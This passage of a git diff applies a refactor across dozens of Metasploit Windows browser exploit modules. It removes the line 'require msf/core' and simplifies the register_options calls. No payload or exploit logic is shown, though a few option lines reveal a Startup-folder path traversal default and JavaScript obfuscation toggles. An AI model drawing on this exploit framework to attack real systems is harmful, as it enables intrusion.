a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb +++ b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/adobe_toolbutton.rb b/modules/exploits/windows/browser/adobe_toolbutton.rb index a417a07bf4..df791f205b 100644 --- a/modules/exploits/windows/browser/adobe_toolbutton.rb +++ b/modules/exploits/windows/browser/adobe_toolbutton.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/adobe_utilprintf.rb b/modules/exploits/windows/browser/adobe_utilprintf.rb index 03a8c41b0d..bd94a3f49a 100644 --- a/modules/exploits/windows/browser/adobe_utilprintf.rb +++ b/modules/exploits/windows/browser/adobe_utilprintf.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb index 3c521b78fa..fe585b47ed 100644 --- a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb +++ b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/aim_goaway.rb b/modules/exploits/windows/browser/aim_goaway.rb index e92dbac293..2a6b076d8e 100644 --- a/modules/exploits/windows/browser/aim_goaway.rb +++ b/modules/exploits/windows/browser/aim_goaway.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb index 56e2aa86f0..a1d998cee0 100644 --- a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb +++ b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/amaya_bdo.rb b/modules/exploits/windows/browser/amaya_bdo.rb index 61d9d87c34..951429efeb 100644 --- a/modules/exploits/windows/browser/amaya_bdo.rb +++ b/modules/exploits/windows/browser/amaya_bdo.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/aol_ampx_convertfile.rb b/modules/exploits/windows/browser/aol_ampx_convertfile.rb index 41de2bcd83..58e7979f88 100644 --- a/modules/exploits/windows/browser/aol_ampx_convertfile.rb +++ b/modules/exploits/windows/browser/aol_ampx_convertfile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/aol_icq_downloadagent.rb b/modules/exploits/windows/browser/aol_icq_downloadagent.rb index 73c8fbc8df..bb81f0a51b 100644 --- a/modules/exploits/windows/browser/aol_icq_downloadagent.rb +++ b/modules/exploits/windows/browser/aol_icq_downloadagent.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/browser/apple_itunes_playlist.rb b/modules/exploits/windows/browser/apple_itunes_playlist.rb index d34d0986cc..b7b850efc3 100644 --- a/modules/exploits/windows/browser/apple_itunes_playlist.rb +++ b/modules/exploits/windows/browser/apple_itunes_playlist.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb index db438aa329..0e9dfecc13 100644 --- a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb +++ b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb index b9090e0eb1..3a0d34711e 100644 --- a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb +++ b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb index c96a2f1133..cd8eab42ce 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb index 14d8274cce..e507f3206c 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb index c3c7b99591..dd84534b9f 100644 --- a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb +++ b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # needs more testing/targets to be Great diff --git a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb index fad9da943f..34c0fda847 100644 --- a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb +++ b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -69,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ], self.class) + ]) end def get_target(agent) diff --git a/modules/exploits/windows/browser/ask_shortformat.rb b/modules/exploits/windows/browser/ask_shortformat.rb index fa0467d743..17b9c07f1e 100644 --- a/modules/exploits/windows/browser/ask_shortformat.rb +++ b/modules/exploits/windows/browser/ask_shortformat.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb index 39ab4c48ff..eb41aa1cfc 100644 --- a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb +++ b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ], self.class) + ]) end def get_target(agent) diff --git a/modules/exploits/windows/browser/athocgov_completeinstallation.rb b/modules/exploits/windows/browser/athocgov_completeinstallation.rb index 6f09ebd1d5..7932524c02 100644 --- a/modules/exploits/windows/browser/athocgov_completeinstallation.rb +++ b/modules/exploits/windows/browser/athocgov_completeinstallation.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/browser/autodesk_idrop.rb b/modules/exploits/windows/browser/autodesk_idrop.rb index 2084de912a..d344b8bc5c 100644 --- a/modules/exploits/windows/browser/autodesk_idrop.rb +++ b/modules/exploits/windows/browser/autodesk_idrop.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/aventail_epi_activex.rb b/modules/exploits/windows/browser/aventail_epi_activex.rb index fb643ab937..1aac09ba02 100644 --- a/modules/exploits/windows/browser/aventail_epi_activex.rb +++ b/modules/exploits/windows/browser/aventail_epi_activex.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # heap spray and address shifty diff --git a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb index e983150018..905c51a19f 100644 --- a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb +++ b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb @@ -21,8 +21,6 @@ # http://www.rec-sec.com ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb index c268856ee4..5d538172ef 100644 --- a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb +++ b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb b/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb index bb736f1946..4e3d798277 100644 --- a/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb +++ b/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/browser/barcode_ax49.rb b/modules/exploits/windows/browser/barcode_ax49.rb index e5fb4cc725..1d3aae11d8 100644 --- a/modules/exploits/windows/browser/barcode_ax49.rb +++ b/modules/exploits/windows/browser/barcode_ax49.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb index 9264fdf53f..f3e2131511 100644 --- a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb +++ b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb index 5a80c34faf..3a61b7fe6a 100644 --- a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb +++ b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb index 757ba12da7..79eba846db 100644 --- a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb +++ b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/chilkat_crypt_writefile.rb b/modules/exploits/windows/browser/chilkat_crypt_writefile.rb index 8fe38efe5c..5fd0ccfe8d 100644 --- a/modules/exploits/windows/browser/chilkat_crypt_writefile.rb +++ b/modules/exploits/windows/browser/chilkat_crypt_writefile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/browser/cisco_anyconnect_exec.rb b/modules/exploits/windows/browser/cisco_anyconnect_exec.rb index 55b5c6df4c..500bc0b541 100644 --- a/modules/exploits/windows/browser/cisco_anyconnect_exec.rb +++ b/modules/exploits/windows/browser/cisco_anyconnect_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ], self.class) + ]) end def on_request_uri(cli, request) diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb index d24e3c83b8..6d37fe83f2 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb index b993fccb3d..3717089771 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/cisco_webex_ext.rb b/modules/exploits/windows/browser/cisco_webex_ext.rb index 89e3fd4d6c..ccd1d3636a 100644 --- a/modules/exploits/windows/browser/cisco_webex_ext.rb +++ b/modules/exploits/windows/browser/cisco_webex_ext.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/citrix_gateway_actx.rb b/modules/exploits/windows/browser/citrix_gateway_actx.rb index cb68bd0b8a..11e06cbd12 100644 --- a/modules/exploits/windows/browser/citrix_gateway_actx.rb +++ b/modules/exploits/windows/browser/citrix_gateway_actx.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index 99619cbf7d..68464f17b2 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/communicrypt_mail_activex.rb b/modules/exploits/windows/browser/communicrypt_mail_activex.rb index d8f0fde955..8f40bc6cc4 100644 --- a/modules/exploits/windows/browser/communicrypt_mail_activex.rb +++ b/modules/exploits/windows/browser/communicrypt_mail_activex.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/creative_software_cachefolder.rb b/modules/exploits/windows/browser/creative_software_cachefolder.rb index f67dc5fa41..0057efc993 100644 --- a/modules/exploits/windows/browser/creative_software_cachefolder.rb +++ b/modules/exploits/windows/browser/creative_software_cachefolder.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb index bb65ed47cb..ee42e23d5e 100644 --- a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb +++ b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -104,7 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb index 28eede199f..d242073820 100644 --- a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb +++ b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/dxstudio_player_exec.rb b/modules/exploits/windows/browser/dxstudio_player_exec.rb index fe938e1872..52449397f0 100644 --- a/modules/exploits/windows/browser/dxstudio_player_exec.rb +++ b/modules/exploits/windows/browser/dxstudio_player_exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/windows/browser/ea_checkrequirements.rb b/modules/exploits/windows/browser/ea_checkrequirements.rb index 89936e7a39..ae1948b122 100644 --- a/modules/exploits/windows/browser/ea_checkrequirements.rb +++ b/modules/exploits/windows/browser/ea_checkrequirements.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb index ab90c7164f..4c51245e5a 100644 --- a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb +++ b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb index 084dd3a5f4..7ac6b4155e 100644 --- a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb +++ b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PATH', [ true, 'The path to place the executable.', '/../../../../../../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']), - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb b/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb index 2ee2ccff3b..99e310c967 100644 --- a/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb +++ b/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/facebook_extractiptc.rb b/modules/exploits/windows/browser/facebook_extractiptc.rb index 571769f23d..c754f01952 100644 --- a/modules/exploits/windows/browser/facebook_extractiptc.rb +++ b/modules/exploits/windows/browser/facebook_extractiptc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/firefox_smil_uaf.rb b/modules/exploits/windows/browser/firefox_smil_uaf.rb index 9817cee35e..9d3233792f 100644 --- a/modules/exploits/windows/browser/firefox_smil_uaf.rb +++ b/modules/exploits/windows/browser/firefox_smil_uaf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 2ecf38c827..1a140082f0 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/getgodm_http_response_bof.rb b/modules/exploits/windows/browser/getgodm_http_response_bof.rb index 1adf60aa07..42b7e815d4 100644 --- a/modules/exploits/windows/browser/getgodm_http_response_bof.rb +++ b/modules/exploits/windows/browser/getgodm_http_response_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/gom_openurl.rb b/modules/exploits/windows/browser/gom_openurl.rb index fe60d15fc8..b0b651a5ef 100644 --- a/modules/exploits/windows/browser/gom_openurl.rb +++ b/modules/exploits/windows/browser/gom_openurl.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/greendam_url.rb b/modules/exploits/windows/browser/greendam_url.rb index ee7e2634fe..b15c5672a5 100644 --- a/modules/exploits/windows/browser/greendam_url.rb +++ b/modules/exploits/windows/browser/greendam_url.rb @@ -19,8 +19,6 @@ # http://www.rec-sec.com ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb index ef7ce99038..91d39b4599 100644 --- a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb +++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/browser/honeywell_tema_exec.rb b/modules/exploits/windows/browser/honeywell_tema_exec.rb index 4ce1c99493..862cb02783 100644 --- a/modules/exploits/windows/browser/honeywell_tema_exec.rb +++ b/modules/exploits/windows/browser/honeywell_tema_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index bdf8a7c485..f0d05d0803 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -76,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end def get_target(agent) diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb index f0bcacc5eb..ef086095f8 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb index d75ca8fa88..30c4625a13 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb index 82ed60807c..f57140d5ec 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb index 09b0439c0c..f9dc9279f2 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb index acff38f9ed..639206ca85 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -77,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb index 6488beed3a..dc76272be5 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -67,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/hpmqc_progcolor.rb b/modules/exploits/windows/browser/hpmqc_progcolor.rb index 19f0929c35..470d980c31 100644 --- a/modules/exploits/windows/browser/hpmqc_progcolor.rb +++ b/modules/exploits/windows/browser/hpmqc_progcolor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git 